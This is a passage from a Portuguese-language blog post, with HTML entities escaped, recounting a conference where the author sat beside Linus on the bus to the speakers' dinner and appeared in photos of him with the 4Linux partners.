conteúdo das apresentações e qualidade dos palestrantes.&lt;br /&gt;&lt;br /&gt;Infelizmente não consegui tirar uma foto ao lado do Linus, mas só o fato de ter conseguido falar com ele e sentado ao seu lado no ônibus que nos levou ao restaurante para o janter dos palestrantes, já valeu qualquer foto :-)&lt;br /&gt;&lt;br /&gt;De qualquer forma, consegui sair como papagaio de pirata em duas fotos com ele, quando o fotografaram com os sócios da 4Linux, e ele usando uma camiseta de pingüim presenteada por eles huahauahuahuahuah.&lt;br /&gt;&lt;br /&gt;Assim que consegui colocar a mão nas fotos, vou publicá-las aqui.&lt;br /&gt;&lt;br /&gt;[ ]'s&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;
